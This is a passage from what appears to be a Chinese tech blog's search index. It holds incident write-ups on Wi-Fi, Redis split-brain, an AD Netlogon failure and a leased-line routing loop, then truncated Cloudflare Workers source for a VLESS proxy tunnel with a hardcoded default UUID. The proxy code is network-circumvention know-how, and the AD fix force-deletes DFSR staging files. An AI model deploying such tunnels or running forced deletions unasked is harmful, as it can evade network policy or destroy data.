布点和信道规划，不能使用初始规划一成不变。\n总结\r无线网络故障相比有线往往更难直接定位，因为很多干扰因素\u0026quot;看不见摸不着\u0026quot;。这次故障的关键排查步骤是借助无线控制器的 RF 监控和频谱扫描功能，量化了信道利用率，并找到了隐藏的非法 AP 干扰源。\n经验总结： 对于无线网络性能问题，要重点检查信道规划是否合理、是否存在同频干扰、5GHz 是否被充分利用。同时，员工私接设备的问题在企业网络中极为普遍，需要从技术手段（WIDS）和管理手段双管齐下。\n","date":"2023-11-07T11:11:17Z","permalink":"/posts/cbaa3ade/","title":"办公区无线网络为何间歇性断连？"},{"content":"问题背景\r公司使用 Redis Cluster 6.2 作为分布式缓存，6 节点（3 主 + 3 从），部署在 3 台物理服务器上（每台 1 主 1 从），采用默认的 Gossip 协议进行节点间通信和故障检测。Cluster 承载了商品详情缓存、用户 Session 和实时价格缓存，日均请求量约 5 万 QPS。\n故障现象\r10 月 19 日下午 3:00，部署了 Redis 相关的 Kubernetes 网络策略变更后，业务逐渐出现异常：商品详情页展示的价格与实际价格不一致，部分用户登录状态丢失需要重新登录。\n1 2 3 4 5 6 7 $ redis-cli -c -h node01 -p 6379 CLUSTER INFO cluster_state:fail cluster_slots_assigned:16384 cluster_slots_ok:8192 cluster_slots_fail:8192 # 8192个槽位标记为失败 cluster_known_nodes:4 # 原本6个节点，只看到4个 cluster_size:2 # 只看到2个主节点 集群状态 fail，一半的 hash slots 不可用。\n1 2 3 4 5 6 7 $ redis-cli -c -h node04 -p 6379 CLUSTER INFO cluster_state:ok cluster_slots_assigned:16384 cluster_slots_ok:16384 cluster_slots_fail:0 cluster_known_nodes:4 # 也只看到4个节点 cluster_size:3 # 看到3个主节点 两个不同节点看到完全不同的集群视图——node01 看见 2 主，认为集群失败；node04 看见 3 主，认为集群正常。这就是典型的脑裂（Split-Brain）。\n排查过程\r第一步：确认 Gossip 通信状态\r1 2 3 4 5 $ redis-cli -h node01 -p 16379 CLUSTER NODES a1b2c3... 10.0.1.1:6379@16379 myself,master - 0 1697700123456 9 connected 0-5460 d4e5f6... 10.0.2.1:6379@16379 master - 0 1697700123458 12 connected 5461-10922 g7h8i9... 10.0.2.2:6379@16379 slave - 0 1697700123460 14 connected j0k1l2... 10.0.3.1:6379@16379 master,fail? - 1697700100000 1697700080000 8 disconnected 10923-16383 节点 j0k1l2（node03 的主节点）被标记为 fail?（疑似下线）。但从另一个子集群看，node03 正常运行且已被提升为独立的主节点。\n第二步：分析故障触发时间线\r1 2 3 4 5 6 15:02:30 K8s网络策略变更，node01/02和node03之间的Gossip端口被短暂阻断 15:02:35 node01/02判定node03 PFAIL（疑似下线），广播PFAIL消息 15:02:40 node01/02所有节点收到PFAIL→确认FAIL→触发failover 15:02:42 node01/02子集群的从节点提升为新的主节点，接管原node03的slots 15:02:45 网络恢复 15:02:46 node03发现自己被FAIL→重新选举自己为主节点→两个主节点同时持有相同slots 网络仅中断了约 10 秒（15:02:30–15:02:40），但 Redis Cluster 的 cluster-node-timeout 默认值为 15000ms（15 秒）——网络中断时间 \u0026lt; cluster-node-timeout，理论上不应该触发 failover。\n第三步：发现配置不一致\r1 2 3 4 5 $ redis-cli -h node01 -p 6379 CONFIG GET cluster-node-timeout \u0026#34;15000\u0026#34; $ redis-cli -h node03 -p 6379 CONFIG GET cluster-node-timeout \u0026#34;5000\u0026#34; # node03上只有5秒！ node03 的 cluster-node-timeout 被手动改成了 5000ms（5 秒）。这 5 秒刚好落在网络中断的 10 秒窗口内——于是 node01 和 node02 在 5 秒后判定 node03 下线，触发 failover。而 node03 同样在 5 秒后判定 node01/02 下线，也自己触发了一轮选举。\n第四步：为什么 node03 的 timeout 是 5 秒？\r追溯配置历史发现：两周前一名开发在做本地 Redis 测试时，通过 CONFIG SET 临时改了 node03 的 timeout 方便测试自动故障转移性能，但测试结束后忘记改回来。这个\u0026quot;临时\u0026quot;配置被 Redis 持久化到了 redis.conf 中。\n解决方案\r紧急恢复\r1 2 3 4 5 6 7 # 1. 统一 cluster-node-timeout redis-cli -h node03 -p 6379 CONFIG SET cluster-node-timeout 15000 redis-cli -h node03 -p 6379 CONFIG REWRITE # 2. 强制集群重置 redis-cli --cluster fix 10.0.1.1:6379 # 让修复工具重新协商主从关系和slot分配 清理不一致数据\r脑裂期间两个子集群都接收了写入，需要找出冲突的 key 并以主集群数据为准做覆盖。\n根因分析\r直接原因：两个节点 cluster-node-timeout 配置不一致（5s vs 15s），网络瞬时中断的 10 秒刚好落在 5 秒的故障检测窗口内却还没到 15 秒，造成两边互相认为对方下线，触发双向 failover 形成脑裂。\n深层原因：\nCONFIG SET 是实时生效但不区分\u0026quot;临时\u0026quot;和\u0026quot;永久\u0026quot;——通过 CONFIG REWRITE 会持久化 缺乏 Redis 配置的变更审计和一致性检查机制 cluster-node-timeout 这个关键参数没有统一管理 预防措施\r配置统一管理：所有 Redis 节点的关键参数通过 Ansible/Puppet 统一推送，禁止手动配置修改 配置一致性检查：定期巡检所有 Redis 节点的 cluster-node-timeout、cluster-slave-validity-factor 等关键参数 最小 timeout 经验值：cluster-node-timeout 建议 ≥ 网络最大 RTT × 3，生产环境推荐 15-30 秒 脑裂检测脚本：定期从不同节点执行 CLUSTER NODES 对比集群视图，不一致立即告警 网络变更窗口：任何可能影响 Redis 节点间通信的网络变更，必须在 Redis 低峰窗口执行 总结\rRedis Cluster 的脑裂在理论上很少发生——前提是所有节点的关键配置一致。一个被人随手改了 5 秒 timeout 的节点，在网络抖动的瞬间就成了集群分裂的导火索。\u0026ldquo;临时\u0026quot;配置不应该出现在生产环境，如果一定需要测试，请在独立的 dev 集群中做。对 Redis Cluster 来说，一致性不是可选项，是存活前提。\n","date":"2023-10-19T15:25:00Z","permalink":"/posts/06b09f13/","title":"Redis Cluster 脑裂，缓存数据为何对不上？"},{"content":"问题背景\r公司使用 Windows Server 2019 搭建 AD 域环境，主域控 DC01 + 辅助域控 DC02。全公司约 300 台电脑加入域管理。9 月中旬 IT 部门按计划部署了 30 台新笔记本电脑，完成系统安装后逐一加入域。\n故障现象\r9 月 15 日早上，所有新部署的 30 台电脑出现相同问题：域用户登录时提示：\n1 2 此工作站和主域间的信任关系失败。 The trust relationship between this workstation and the primary domain failed. 已有的旧电脑不受影响，但旧电脑上修改密码后新密码不生效（只能用旧密码登录）。新员工入职当天无法开工，IT 服务台被打爆。\n排查过程\r第一步：检查域加入状态\r1 2 PS\u0026gt; Test-ComputerSecureChannel -Verbose Test-ComputerSecureChannel : 此工作站和主域间的信任关系失败。 安全通道断裂。尝试修复：\n1 2 PS\u0026gt; Reset-ComputerMachinePassword -Server dc01.company.com Reset-ComputerMachinePassword : 无法联系域控制器 连不上域控。但 ping dc01.company.com 正常，\n第二步：检查域控 Netlogon 服务\r1 2 3 4 5 6 7 8 9 10 11 # DC01 上 PS\u0026gt; Get-Service Netlogon Status Name DisplayName ------ ---- ----------- Running Netlogon Netlogon PS\u0026gt; net share Share name Resource Remark ------------------------------------------------------- NETLOGON C:\\Windows\\SYSVOL\\...\\scripts Logon server share SYSVOL C:\\Windows\\SYSVOL\\sysvol Logon server share Netlogon 服务显示 Running，共享也在。但：\n1 2 3 4 5 PS\u0026gt; Get-SmbShare -Name NETLOGON | Select * ShareState: Online ShareType: FileSystemDirectory FolderEnumerationMode: AccessBased Path: C:\\Windows\\SYSVOL\\domain\\scripts 状态一切正常。但为什么客户端连不上？\n第三步：检查 Sysvol 复制\r1 2 3 4 PS\u0026gt; dcdiag /test:sysvolcheck Starting test: SysVolCheck Error: Netlogon share \\\\dc01.company.com\\netlogon is not available. ......................... DC01 failed test SysVolCheck dcdiag 说 Netlogon 共享不可用！但 net share 又显示它在共享列表中……\n第四步：定位真因——磁盘空间\r1 2 3 4 PS\u0026gt; Get-PSDrive C | Select Used,Free Used Free ---- ---- 59.4 GB 0.0 GB # C盘满了！ DC01 的 C 盘 100% 满。检查空间占用：\n1 2 3 4 5 PS\u0026gt; Get-ChildItem C:\\ -Recurse -ErrorAction SilentlyContinue | Sort-Object Length -Descending | Select -First 5 C:\\Windows\\SYSVOL\\staging\\staging areas\\{GUID}\\Policies\\{GUID}\\GPT.INI 1.2GB C:\\Windows\\SYSVOL\\staging\\staging areas\\{GUID}\\... 12万个文件，共58GB Sysvol 的 staging areas 文件夹堆积了超过 12 万个文件，占用了 58GB 空间。这是因为之前一次域策略更新时 DFSR（分布式文件复制）复制失败，大量的暂存文件被无限保留。\n虽然 Netlogon 服务在运行、共享在列表中，但 由于 C 盘空间为 0，SMB 服务在尝试读取 Netlogon 共享内容时返回了 \u0026ldquo;磁盘空间不足\u0026rdquo; 错误，客户端端无法读取登录脚本和策略文件。\n第五步：为什么旧电脑似乎不受影响？\r旧电脑已经缓存了之前的域策略和计算机账户凭据（凭证缓存默认 10 次登录），因此在短期内仍然可以使用缓存凭据登录。但新加入域的电脑没有缓存，首次登录必须通过 Netlogon 同步策略和凭据——于是全部失败。\n解决方案\r清理 Staging Areas： 1 2 3 4 5 6 7 8 9 # 停止DFSR服务 Stop-Service DFSR # 清理staging文件夹 Remove-Item \u0026#34;C:\\Windows\\SYSVOL\\staging\\staging areas\\*\u0026#34; -Recurse -Force # 重新初始化DFSR dfsrdiag PollAD /Member:DC01 Start-Service DFSR 释放出 58GB 空间后，Netlogon 共享立即恢复正常。\n新电脑重新登录：所有新电脑无需重新加入域，直接在登录界面输入域账号密码即可成功登录。\n扩展 C 盘空间：将 C 盘从 60GB 扩展到 120GB。\n根因分析\r直接原因：DFS 复制失败导致 Sysvol staging areas 无限堆积文件，占满 C 盘。虽然 Netlogon 共享在列表中显示正常，但 SMB 实际无法读取文件内容，导致新电脑加入域时无法下载策略和建立安全通道。\n深层原因：\n域控 C 盘初始分配仅 60GB，未考虑 Sysvol 增长空间 DFSR 复制失败后缺少清理 staging 的机制 域控磁盘监控只关注了系统日志和事件日志，忽略了 Sysvol 目录 预防措施\rDFSR 健康监控：通过 dcdiag /test:DFSREvent 监控 DFS 复制状态 Staging Area 自动清理：配置 DFSR 的 Staging Area 配额（默认 4GB），超出自动清理最旧文件 域控磁盘独立监控：对 C:\\Windows\\SYSVOL 目录的大小单独监控 域控 C 盘最小规格：新部署域控 C 盘至少 120GB，Sysvol 放独立分区 定期 dcdiag 巡检：每月执行一次 dcdiag /v 全面体检 总结\r域控的 Netlogon 共享是整个 AD 域的命脉——没有它，新电脑加不了域、密码改不了、策略推送不了。而这一次，只是因为 C 盘满了。net share 显示共享存在不代表它能正常提供服务，就像一辆车有引擎不代表它能跑。域控的磁盘监控不能只看传统的\u0026quot;剩余空间\u0026quot;，还需要关注 Sysvol 和 DFSR Staging Areas 的健康状态——它们才是真正的隐藏炸弹。\n","date":"2023-09-15T08:50:00Z","permalink":"/posts/8c4b1183/","title":"Windows 域策略推送失败致新电脑无法登录的处理"},{"content":"打开用户定义的短语\r添加或编辑自定义短语\n1 2 3 4 // 2021-03-05 18:10:03 %yyyy%-%MM%-%dd% %HH%:%mm%:%ss% // 2021年03月05日 18:09:59 %yyyy%年%MM%月%dd%日 %HH%:%mm%:%ss% ","date":"2023-08-26T22:32:20Z","permalink":"/posts/709d31a9/","title":"微软输入法快速输入时间"},{"content":"问题背景\r上海分公司通过一条 20Mbps MSTP 专线连接到北京总部。专线由电信运营商提供，两端分别接入上海分公司防火墙和北京总部核心交换机。日常业务流量包括 OA 访问、ERP 操作、邮件同步和视频会议。专线合同 SLA 为可用率 99.9%，丢包率 ≤0.1%。\n故障现象\r8 月 22 日下午 5:00，上海分公司的同事反馈：视频会议画面卡顿严重（人物说话 1 秒后才听到声音），访问北京总部的 OA 系统页面加载超过 30 秒。上海本地网络（访问互联网、上海分公司内部）一切正常。\n1 2 3 4 # 上海分公司到北京总部核心交换机 $ ping 10.1.1.1 -c 100 100 packets transmitted, 67 received, 33% packet loss, time 99211ms rtt min/avg/max/mdev = 38.2/52.3/89.5/12.4 ms 33% 丢包率，远超 SLA 规定的 0.1%。\n排查过程\r第一步：排除本地设备故障\r两端防火墙和交换机的端口统计：\n1 2 3 4 5 6 # 上海防火墙 FortiGate-60F # get system performance status CPU: 12% Memory: 45% Sessions: 2304/50000 FortiGate-60F # diagnose sniffer packet wan1 \u0026#34;host 10.1.1.1\u0026#34; 4 # 抓到大量ICMP reply，但间隔极不均匀 1 2 3 4 # 北京核心交换机 [CE12800] display interface GigabitEthernet1/0/24 Input: 0 packets/sec, 0 error, 0 CRC error Output: 0 packets/sec, 0 error, 0 CRC error 两端设备均无 CRC/Error 计数，排除硬件端口或光纤故障。\n第二步：双向 MTR 分析\r1 2 3 4 5 6 7 8 9 10 11 # 上海 → 北京 $ mtr -r -c 100 10.1.1.1 HOST Loss% Snt Avg Best Wrst StDev 1. 192.168.10.1 0.0% 100 0.5 0.3 1.2 0.2 2. 172.16.100.1 0.0% 100 2.1 1.8 4.3 0.5 3. 100.64.12.1 0.0% 100 5.3 4.1 8.2 1.1 4. 100.64.13.1 28.0% 100 35.2 30.1 45.3 4.2 5. 100.64.14.1 30.0% 100 38.1 32.5 50.2 5.1 6. 100.64.12.1 32.0% 100 40.5 35.2 52.5 4.8 # 回到第3跳！ 7. 100.64.13.1 33.0% 100 38.7 33.1 48.9 4.5 # 回到第4跳！ ... 路由环路了——数据包在第 3-6 跳之间循环弹跳！\n1 2 第3跳(100.64.12.1) → 第4跳(100.64.13.1) → 第5跳(100.64.14.1) → 第6跳(100.64.12.1) [回到第3跳] → 循环... 数据包的 TTL 在每次路由转发时减 1，环路中弹跳约 30 次后 TTL 耗尽，数据包被丢弃——这就是 30% 丢包率的来源（IP 包默认 TTL=64，环路约 20-30 跳）。\n第三步：联系运营商确认\r将 MTR 结果发给电信运营商二线工程师。运营商内部排查后回复：\n\u0026ldquo;上海至北京的骨干光缆于今日 15:00 进行割接维护，施工人员误将两芯光纤交叉跳接（A-B 接成了 A-A\u0026rsquo;），导致路由信息在两个城域网节点之间形成环路。我们正在重新跳接。\u0026rdquo;\n运营商的施工失误导致了物理层的环路。\n第四步：临时切换备用线路\r上海分公司有一条 50M 互联网 VPN 做备份链路（平时不走），紧急切换：\n1 2 3 4 5 6 7 8 # 在 FortiGate 上将北京总部路由的metric调低，流量走VPN备用线路 config router static edit 10 set dst 10.1.1.0/24 set device \u0026#34;VPN-Backup\u0026#34; set distance 5 next end 切换后丢包率从 33% 降到 0.5%，业务恢复。\n解决方案\r运营商修复光纤跳接：运营商在当晚 21:00 完成光纤重新跳接，环路消除 验证专线质量： 1 2 $ ping 10.1.1.1 -c 1000 -i 0.2 1000 packets transmitted, 999 received, 0.1% packet loss 丢包率恢复到 0.1%，符合 SLA 3. 路由切换回专线：确认专线稳定后将路由从 VPN 切回\n根因分析\r直接原因：运营商机房施工操作失误，光纤交叉跳接导致 IP 数据包在两个城域网节点之间形成环路，TTL 耗尽后丢包。\n深层原因：分支机构到总部的专线缺少多条冗余路径（主线路 + 自动故障切换），当主线路出现运营商侧故障时业务受严重影响。虽然备有 VPN 链路，但需要手动切换。\n预防措施\r双专线冗余：核心分支到总部至少两条不同运营商的专线，自动故障切换 SD-WAN 方案：评估 SD-WAN 在多链路间做智能选路和链路质量监控 运营商变更窗口知会：要求运营商在进行影响本线路的维护时提前 48 小时通知 链路质量持续监控：部署 Smokeping 对专线做 7×24 的丢包率和延迟监控，异常自动告警 故障演练：每季度演练一次专线中断切换到备用链路的流程 总结\r当 MTR 中出现同一个 IP 反复出现时，只有一个解释：路由环路了。运营商故障是无法完全避免的，但作为企业 IT，可以通过冗余链路和自动故障切换来降低影响。专线中断不可怕，可怕的是专线中断后业务没有自动切到备用线路——每次依赖人工介入的故障切换都是对业务可用性的赌博。\n","date":"2023-08-22T17:30:00Z","permalink":"/posts/5cafffbb/","title":"分支到总部专线丢包，视频会议为何全程卡顿？"},{"content":"前言\rCloudFlare Workers 部署 VLESS 节点\n项目地址\rzizifn/edgetunnel\nRunning V2ray inside edge/serverless runtime\nWorkers代码\r1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 // \u0026lt;!--GAMFC--\u0026gt;version base on commit 43fad05dcdae3b723c53c226f8181fc5bd47223e, time is 2023-06-22 15:20:02 UTC\u0026lt;!--GAMFC-END--\u0026gt;. // @ts-ignore import { connect } from \u0026#39;cloudflare:sockets\u0026#39;; // How to generate your own UUID: // [Windows] Press \u0026#34;Win + R\u0026#34;, input cmd and run: Powershell -NoExit -Command \u0026#34;[guid]::NewGuid()\u0026#34; let userID = \u0026#39;d342d11e-d424-4583-b36e-524ab1f0afa4\u0026#39;; let proxyIP = \u0026#39;\u0026#39;; if (!isValidUUID(userID)) { throw new Error(\u0026#39;uuid is not valid\u0026#39;); } export default { /** * @param {import(\u0026#34;@cloudflare/workers-types\u0026#34;).Request} request * @param {{UUID: string, PROXYIP: string}} env * @param {import(\u0026#34;@cloudflare/workers-types\u0026#34;).ExecutionContext} ctx * @returns {Promise\u0026lt;Response\u0026gt;} */ async fetch(request, env, ctx) { try { userID = env.UUID || userID; proxyIP = env.PROXYIP || proxyIP; const upgradeHeader = request.headers.get(\u0026#39;Upgrade\u0026#39;); if (!upgradeHeader || upgradeHeader !== \u0026#39;websocket\u0026#39;) { const url = new URL(request.url); switch (url.pathname) { case \u0026#39;/\u0026#39;: return new Response(JSON.stringify(request.cf), { status: 200 }); case `/${userID}`: { const vlessConfig = getVLESSConfig(userID, request.headers.get(\u0026#39;Host\u0026#39;)); return new Response(`${vlessConfig}`, { status: 200, headers: { \u0026#34;Content-Type\u0026#34;: \u0026#34;text/plain;charset=utf-8\u0026#34;, } }); } default: return new Response(\u0026#39;Not found\u0026#39;, { status: 404 }); } } else { return await vlessOverWSHandler(request); } } catch (err) { /** @type {Error} */ let e = err; return new Response(e.toString()); } }, }; /** * * @param {import(\u0026#34;@cloudflare/workers-types\u0026#34;).Request} request */ async function vlessOverWSHandler(request) { /** @type {import(\u0026#34;@cloudflare/workers-types\u0026#34;).WebSocket[]} */ // @ts-ignore const webSocketPair = new WebSocketPair(); const [client, webSocket] = Object.values(webSocketPair); webSocket.accept(); let address = \u0026#39;\u0026#39;; let portWithRandomLog = \u0026#39;\u0026#39;; const log = (/** @type {string} */ info, /** @type {string | undefined} */ event) =\u0026gt; { console.log(`[${address}:${portWithRandomLog}] ${info}`, event || \u0026#39;\u0026#39;); }; const earlyDataHeader = request.headers.get(\u0026#39;sec-websocket-protocol\u0026#39;) || \u0026#39;\u0026#39;; const readableWebSocketStream = makeReadableWebSocketStream(webSocket, earlyDataHeader, log); /** @type {{ value: import(\u0026#34;@cloudflare/workers-types\u0026#34;).Socket | null}}*/ let remoteSocketWapper = { value: null, }; let udpStreamWrite = null; let isDns = false; // ws --\u0026gt; remote readableWebSocketStream.pipeTo(new WritableStream({ async write(chunk, controller) { if (isDns \u0026amp;\u0026amp; udpStreamWrite) { return udpStreamWrite(chunk); } if (remoteSocketWapper.value) { const writer = remoteSocketWapper.value.writable.getWriter() await writer.write(chunk); writer.releaseLock(); return; } const { hasError, message, portRemote = 443, addressRemote = \u0026#39;\u0026#39;, rawDataIndex, vlessVersion = new Uint8Array([0, 0]), isUDP, } = processVlessHeader(chunk, userID); address = addressRemote; portWithRandomLog = `${portRemote}--${Math.random()} ${isUDP ? \u0026#39;udp \u0026#39; : \u0026#39;tcp \u0026#39; } `; if (hasError) { // controller.error(message); throw new Error(message); // cf seems has bug, controller.error will not end stream // webSocket.close(1000, message); return; } // if UDP but port not DNS port, close it if (isUDP) { if (portRemote === 53) { isDns = true; } else { // controller.error(\u0026#39;UDP proxy only enable for DNS which is port 53\u0026#39;); throw new Error(\u0026#39;UDP proxy only enable for DNS which is port 53\u0026#39;); // cf seems has bug, controller.error will not end stream return; } } // [\u0026#34;version\u0026#34;, \u0026#34;附加信息长度 N\u0026#34;] const vlessResponseHeader = new Uint8Array([vlessVersion[0], 0]); const rawClientData = chunk.slice(rawDataIndex); // TODO: support udp here when cf runtime has udp support if (isDns) { const { write } = await handleUDPOutBound(webSocket, vlessResponseHeader, log); udpStreamWrite = write; udpStreamWrite(rawClientData); return; } handleTCPOutBound(remoteSocketWapper, addressRemote, portRemote, rawClientData, webSocket, vlessResponseHeader, log); }, close() { log(`readableWebSocketStream is close`); }, abort(reason) { log(`readableWebSocketStream is abort`, JSON.stringify(reason)); }, })).catch((err) =\u0026gt; { log(\u0026#39;readableWebSocketStream pipeTo error\u0026#39;, err); }); return new Response(null, { status: 101, // @ts-ignore webSocket: client, }); } /** * Handles outbound TCP connections. * * @param {any} remoteSocket * @param {string} addressRemote The remote address to connect to. * @param {number} portRemote The remote port to connect to. * @param {Uint8Array} rawClientData The raw client data to write. * @param {import(\u0026#34;@cloudflare/workers-types\u0026#34;).WebSocket} webSocket The WebSocket to pass the remote socket to. * @param {Uint8Array} vlessResponseHeader The VLESS response header. * @param {function} log The logging function. * @returns {Promise\u0026lt;void\u0026gt;} The remote socket. */ async function handleTCPOutBound(remoteSocket, addressRemote, portRemote, rawClientData, webSocket, vlessResponseHeader, log,) { async function connectAndWrite(address, port) { /** @type {import(\u0026#34;@cloudflare/workers-types\u0026#34;).Socket} */ const tcpSocket = connect({ hostname: address, port: port, }); remoteSocket.value = tcpSocket; log(`connected to ${address}:${port}`); const writer = tcpSocket.writable.getWriter(); await writer.write(rawClientData); // first write, nomal is tls client hello writer.releaseLock(); return tcpSocket; } // if the cf connect tcp socket have no incoming data, we retry to redirect ip async function retry() { const tcpSocket = await connectAndWrite(proxyIP || addressRemote, portRemote) // no matter retry success or not, close websocket tcpSocket.closed.catch(error =\u0026gt; { console.log(\u0026#39;retry tcpSocket closed error\u0026#39;, error); }).finally(() =\u0026gt; { safeCloseWebSocket(webSocket); }) remoteSocketToWS(tcpSocket, webSocket, vlessResponseHeader, null, log); } const tcpSocket = await connectAndWrite(addressRemote, portRemote); // when remoteSocket is ready, pass to websocket // remote--\u0026gt; ws remoteSocketToWS(tcpSocket, webSocket, vlessResponseHeader, retry, log); } /** * * @param {import(\u0026#34;@cloudflare/workers-types\u0026#34;).WebSocket} webSocketServer * @param {string} earlyDataHeader for ws 0rtt * @param {(info: string)=\u0026gt; void} log for ws 0rtt */ function makeReadableWebSocketStream(webSocketServer, earlyDataHeader, log) { let readableStreamCancel = false; const stream = new ReadableStream({ start(controller) { webSocketServer.addEventListener(\u0026#39;message\u0026#39;, (event) =\u0026gt; { if (readableStreamCancel) { return; } const message = event.data; controller.enqueue(message); }); // The event means that the client closed the client -\u0026gt; server stream. // However, the server -\u0026gt; client stream is still open until you call close() on the server side. // The WebSocket protocol says that a separate close message must be sent in each direction to fully close the socket. webSocketServer.addEventListener(\u0026#39;close\u0026#39;, () =\u0026gt; { // client send close, need close server // if stream is cancel, skip controller.close safeCloseWebSocket(webSocketServer); if (readableStreamCancel) { return; } controller.close(); } ); webSocketServer.addEventListener(\u0026#39;error\u0026#39;, (err) =\u0026gt; { log(\u0026#39;webSocketServer has error\u0026#39;); controller.error(err); } ); // for ws 0rtt const { earlyData, error } = base64ToArrayBuffer(earlyDataHeader); if (error) { controller.error(error); } else if (earlyData) { controller.enqueue(earlyData); } }, pull(controller) { // if ws can stop read if stream is full, we can implement backpressure // https://streams.spec.whatwg.org/#example-rs-push-backpressure }, cancel(reason) { // 1. pipe WritableStream has error, this cancel will called, so ws handle server close into here // 2. if readableStream is cancel, all controller.close/enqueue need skip, // 3. but from testing controller.error still work even if readableStream is cancel if (readableStreamCancel) { return; } log(`ReadableStream was canceled, due to ${reason}`) readableStreamCancel = true; safeCloseWebSocket(webSocketServer); } }); return stream; } // https://xtls.github.io/development/protocols/vless.html // https://github.com/zizifn/excalidraw-backup/blob/main/v2ray-protocol.excalidraw /** * * @param { ArrayBuffer} vlessBuffer * @param {string} userID * @returns */ function processVlessHeader( vlessBuffer, userID ) { if (vlessBuffer.byteLength \u0026lt; 24) { return { hasError: true, message: \u0026#39;invalid data\u0026#39;, }; } const version = new Uint8Array(vlessBuffer.slice(0, 1)); let isValidUser = false; let isUDP = false; if (stringify(new Uint8Array(vlessBuffer.slice(1, 17))) === userID) { isValidUser = true; } if (!isValidUser) { return { hasError: true, message: \u0026#39;invalid user\u0026#39;, }; } const optLength = new Uint8Array(vlessBuffer.slice(17, 18))[0]; //skip opt for now const command = new Uint8Array( vlessBuffer.slice(18 + optLength, 18 + optLength + 1) )[0]; // 0x01 TCP // 0x02 UDP // 0x03 MUX if (command === 1) { } else if (command === 2) { isUDP = true; } else { return { hasError: true, message: `command ${command} is not support, command 01-tcp,02-udp,03-mux`, }; } const portIndex = 18 + optLength + 1; const portBuffer = vlessBuffer.slice(portIndex, portIndex + 2); // port is big-Endian in raw data etc 80 == 0x005d const portRemote = new DataView(portBuffer).getUint16(0); let addressIndex = portIndex + 2; const addressBuffer = new Uint8Array( vlessBuffer.slice(addressIndex, addressIndex + 1) ); // 1--\u0026gt; ipv4 addressLength =4 // 2--\u0026gt; domain name addressLength=addressBuffer[1] // 3--\u0026gt; ipv6 addressLength =16 const addressType = addressBuffer[0]; let addressLength = 0; let addressValueIndex = addressIndex + 1; let addressValue = \u0026#39;\u0026#39;; switch (addressType) { case 1: addressLength = 4; addressValue = new Uint8Array( vlessBuffer.slice(addressValueIndex, addressValueIndex + addressLength) ).join(\u0026#39;.\u0026#39;); break; case 2: addressLength = new Uint8Array( vlessBuffer.slice(addressValueIndex, addressValueIndex + 1) )[0]; addressValueIndex += 1; addressValue = new TextDecoder().decode( vlessBuffer.slice(addressValueIndex, addressValueIndex + addressLength) ); break; case 3: addressLength = 16; const dataView = new DataView( vlessBuffer.slice(addressValueIndex, addressValueIndex + addressLength) ); // 2001:0db8:85a3:0000:0000:8a2e:0370:7334 const ipv6 = []; for (let i = 0; i \u0026lt; 8; i++) { ipv6.push(dataView.getUint16(i * 2).toString(16)); } addressValue = ipv6.join(\u0026#39;:\u0026#39;); // seems no need add [] for ipv6 break; default: return { hasError: true, message: `invild addressType is ${addressType}`, }; } if (!addressValue) { return { hasError: true, message: `addressValue is empty, addressType is ${addressType}`, }; } return { hasError: false, addressRemote: addressValue, addressType, portRemote, rawDataIndex: addressValueIndex + addressLength, vlessVersion: version, isUDP, }; } /** * * @param {import(\u0026#34;@cloudflare/workers-types\u0026#34;).Socket} remoteSocket * @param {import(\u0026#34;@cloudflare/workers-types\u0026#34;).WebSocket} webSocket * @param {ArrayBuffer} vlessResponseHeader * @param {(() =\u0026gt; Promise\u0026lt;void\u0026gt;) | null} retry * @param {*} log */ async function remoteSocketToWS(remoteSocket, webSocket, vlessResponseHeader, retry, log) { // remote--\u0026gt; ws let remoteChunkCount = 0; let chunks = []; /** @type {ArrayBuffer | null} */ let vlessHeader = vlessResponseHeader; let hasIncomingData = false; // check if remoteSocket has incoming data await remoteSocket.readable .pipeTo( new WritableStream({ start() { }, /** * * @param {Uint8Array} chunk * @param {*} controller */ async write(chunk, controller) { hasIncomingData = true; // remoteChunkCount++; if (webSocket.readyState !== WS_READY_STATE_OPEN) { controller.error( \u0026#39;webSocket.readyState is not open, maybe close\u0026#39; ); } if (vlessHeader) { webSocket.send(await new Blob([vlessHeader, chunk]).arrayBuffer()); vlessHeader = null; } else { // seems no need rate limit this, CF seems fix this??.. // if (remoteChunkCount \u0026gt; 20000) { // // cf one package is 4096 byte(4kb), 4096 * 20000 = 80M // 